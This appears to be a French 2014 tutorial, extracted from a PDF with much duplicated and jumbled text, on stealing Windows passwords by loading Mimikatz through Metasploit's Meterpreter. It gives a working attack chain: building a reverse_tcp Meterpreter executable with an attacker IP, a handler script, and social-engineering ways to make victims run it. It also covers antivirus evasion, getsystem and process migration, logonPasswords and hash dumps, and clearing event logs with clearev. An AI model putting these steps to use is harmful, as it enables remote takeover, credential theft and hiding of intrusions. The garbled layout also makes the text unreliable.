Vous êtes sur la page 1sur 7
Mimikatz (3/4) : récupération de mot de passe via Metasploit et Meterpreter ( beta 1.00)

Mimikatz (3/4) : récupération de mot de passe via Metasploit

et Meterpreter (

beta
beta

1.00)

Tutorial conçu et rédigé par Michel de CREVOISIER octobre 2014

et rédigé par Michel de CREVOISIER – octobre 2014 ARTICLES ASSOCIES  1. Mimikatz : présentation,
et rédigé par Michel de CREVOISIER – octobre 2014 ARTICLES ASSOCIES  1. Mimikatz : présentation,

ARTICLES ASSOCIES

1. Mimikatz : présentation, fonctionnement, contre-mesures et processus LSASS (lien)

2. Mimikatz : extraction de mots de passe à partir d’un dump du processus LSASS (lien)

3. Mimikatz : récupération de mots de passe via Metasploit et Meterpreter (lien)

4. Mimikatz : matrice de tests de fonctionnement en environnement Windows (lien)

Préambule

Préambule Dans un article précédent nous présentions le fonctionnement du logiciel Mimikatz développé par
Dans un article précédent nous présentions le fonctionnement du logiciel Mimikatz développé par Benjamin DELPY.

Dans un article précédent nous présentions le fonctionnement du logiciel Mimikatz développé par Benjamin DELPY. Nous avons ainsi pu constater que son module « sekurlsa » permettait la

récupération de mots de passe contenus dans le processus système LSASS de Windows.

« sekurlsa » permettait la récupération de mots de passe contenus dans le processus système LSASS

A

la suite, nous allons présenter un autre module de Mimikatz permettant l’extraction de mots de

passe à partir d’un « dump ». Pour information, un « dump » constitue une extraction mémoire d’un

processus donné. Dans notre cas, l’objectif sera de réaliser un dump du processus LSASS afin de

«

l’analyser » avec le module « minidump ». Cette technique a pour avantage de ne déclencher

aucune action détectable par les antivirus. Dans ce sens, son utilisation présente un intérêt majeur

lors de la réalisation d’un dump sur une machine distante.

 

Contexte :

2

1. XXX

1. XXX Pour mener à bien cette attaque, l’attaquant doit préparer un « shellcode » (ou

Pour mener à bien cette attaque, l’attaquant doit préparer un « shellcode » (ou programme de

contrôle à distance) qui devra être exécuté sur le poste de la victime. Pour exécuter ledit programme, l’attaquant dispose de deux techniques :

La première, dite locale, consiste à faire exécuter le « shellcode » par la victime. Pour cela, des techniques de « social-engineering » peuvent être utilisées. Exemples :

o

Placer le « shellcode » sur le bureau de la victime et lui faire exécuter en l’appelant par téléphone

o

Créer une tâche planifiée exécutant le « shellcode »

o

Placer le « shellcode »sur une clef USB et l’exécuter via la fonction Autorun

o

Envoyer le « shellcode » par mail à la victime (de préférence dans un fichier comprimé) et lui faire exécuter selon les instructions indiquées dans le mail

La seconde, dite distante, consiste à exécuter le « shellcode » via l’outil « PSexec ». Elle suppose la connaissance d’identifiants avec un privilège d’administration sur la machine cible.

L’utilisation de PSexec est présentée au point 1.2 de cet article

.

via le module Meterpreter afin d’y injecter le logiciel Mimikatz [

source
source

].

Remarque : afin de ne pas être détecté par les antivirus, le programme malveillant peut être

par les antivirus, le programme malveillant peut être camouflé (« fud ») par l’attaquant. 1.1 Attaque

camouflé (« fud ») par l’attaquant.

1.1Attaque

1.1.1 Préparation du « shellcode »

Pour commencer, créez le binaire allant être exécuté sur la machine cible (source) :

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.92.131 X > Meterpreter.exe

Générez ensuite le script « d’écoute » :

touch meterpreter.rc echo use exploit/multi/handler >> meterpreter.rc echo set PAYLOAD windows/meterpreter/reverse_tcp >> meterpreter.rc echo set LHOST 192.168.92.131 >> meterpreter.rc echo set ExitOnSession false >> meterpreter.rc echo exploit -j -z >> meterpreter.rc cat meterpreter.rc

3

set ExitOnSession false >> meterpreter.rc echo exploit -j -z >> meterpreter.rc cat meterpreter.rc 3
Lancez la console Metasploit à partir du script généré précédemment : msfconsole -r meterpreter.rc 1.1.2

Lancez la console Metasploit à partir du script généré précédemment :

msfconsole -r meterpreter.rc

généré précédemment : msfconsole -r meterpreter.rc 1.1.2 Etablissement d’une sessi on avec un client

1.1.2 Etablissement d’une session avec un client

L’étape qui suit implique qu’un client est lancé l’exécutable sur son poste de travail. Suite à quoi une annonce apparaîtra au niveau de votre console :

4

lancé l’exécutable sur son poste de travail. Suite à quoi une annonce apparaîtra au niveau de
Initiez une session avec le client choisi en indiquant son identifiant (ici) : sessions -i

Initiez une session avec le client choisi en indiquant son identifiant (ici) :

sessions -i 1

choisi en indiquant son identifiant (ici) : sessions -i 1 1.1.3 Exécution de Mimikatz Information du

1.1.3 Exécution de Mimikatz

Information du système :

sysinfo

Exécution de Mimikatz Information du système : sysinfo Comme vous pouvez le constater, le système est

Comme vous pouvez le constater, le système est en 64 bits tandis que Meterpreter en 32 bits. Pour éviter de charger uniquement les modules 32 bits de Mimikatz (et se retrouver face à une erreur), il est nécessaire de migrer Meterpreter dans un processus 64 bits.

Si Meterpreter lancé localement (sans psexec):

getsystem

Migration dans un nouveau processus en 64 bits exécuté en compte system (svhost de préférence). Surtout pas migrer dans LSASS. Le compte exécutant le processus ne sera affiché que si vous disposez du privlège system

ps migrate <ID process>

disposez du privlège system ps migrate <ID process> Vérification de l’exécution de Meterpreter en 64 bits

Vérification de l’exécution de Meterpreter en 64 bits

sysinfo

5

system ps migrate <ID process> Vérification de l’exécution de Meterpreter en 64 bits sysinfo 5
Vérification du compte utilisé : getuid Chargement de Mimikatz load mimikatz Exécution de Mimikatz mimikatz_command
Vérification du compte utilisé : getuid Chargement de Mimikatz load mimikatz Exécution de Mimikatz mimikatz_command

Vérification du compte utilisé :

getuid

Chargement de Mimikatz

load mimikatz

Exécution de Mimikatz

mimikatz_command -f privilege::debug mimikatz_command -f sekurlsa::logonPasswords

mimikatz_command -f sekurlsa::logonPasswords Domaine user background pour revenir en arrière sans

Domaine user

mimikatz_command -f sekurlsa::logonPasswords Domaine user background pour revenir en arrière sans quitter connexion

background pour revenir en arrière sans quitter connexion shell

Récupération des hash (mimikatz ou MSF)

mimikatz_command -f samdump::hashes run post/windows/gather/hashdump

***effacer logs windows clearev

6

N’hésitez pas m’envoyer vos commentaires ou retours à l’adresse suivante : m.decrevoisier A-R-0-B-A-5 outlook .
N’hésitez pas m’envoyer vos commentaires ou retours à l’adresse suivante : m.decrevoisier A-R-0-B-A-5 outlook .

N’hésitez pas m’envoyer vos commentaires ou retours à l’adresse suivante :

m.decrevoisier A-R-0-B-A-5 outlook . com

Soyez-en d’ores et déjà remercié

7